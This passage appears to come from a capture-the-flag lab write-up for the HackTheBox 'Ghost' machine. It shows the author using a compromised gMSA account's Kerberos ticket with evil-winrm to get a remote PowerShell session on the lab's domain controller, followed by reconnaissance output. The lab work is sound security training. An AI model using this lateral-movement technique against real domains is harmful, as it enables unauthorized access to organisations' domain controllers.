adfs_gmsa$


According to the BloodHound assessment earlier, the managed service account, adfs_gmsa$, has a group membership to the Remote Management Users group. Now that I have compromised the adfs_gmsa$ account, I can PSRemote to the dc01.ghost.htb host

┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ KRB5CCNAME=adfs_gmsa\$@dc01.ghost.htb.ccache evil-winrm -i dc01.ghost.htb -r GHOST.HTB
 
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> hostname
DC01
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter vEthernet (internal):
 
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.0.0.254
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
 
Ethernet adapter Ethernet0 2:
 
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.10.11.24
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : 10.10.10.2

Lateral movement made to the adfs_gmsa$ account